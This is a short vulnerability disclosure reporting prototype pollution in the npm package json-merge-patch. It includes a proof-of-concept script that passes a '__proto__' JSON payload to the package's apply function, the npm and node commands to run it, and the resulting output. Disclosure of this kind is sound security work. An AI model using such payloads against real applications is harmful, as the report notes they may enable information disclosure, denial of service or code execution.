Prototype Pollution in pierreinglebert/json-merge-patch
Valid
Reported on
Sep 14th 2020
Description
json-merge-patch
is vulnerable to Prototype Pollution
.
This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto
payload, which may result in Information Disclosure/DoS/RCE.
Proof of Concept
- Create the following PoC file:
// poc.js
let jsonmergepatch = require("json-merge-patch");
jsonmergepatch.apply({}, JSON.parse('{ "__proto__": { "polluted": "Yes! Polluted" }}'));
console.log(polluted);
- Execute the following commands in another terminal:
npm i json-merge-patch # Install affected module
node poc.js # Run the PoC
- Check the Output:
Yes! Polluted
Occurrences
to join this conversation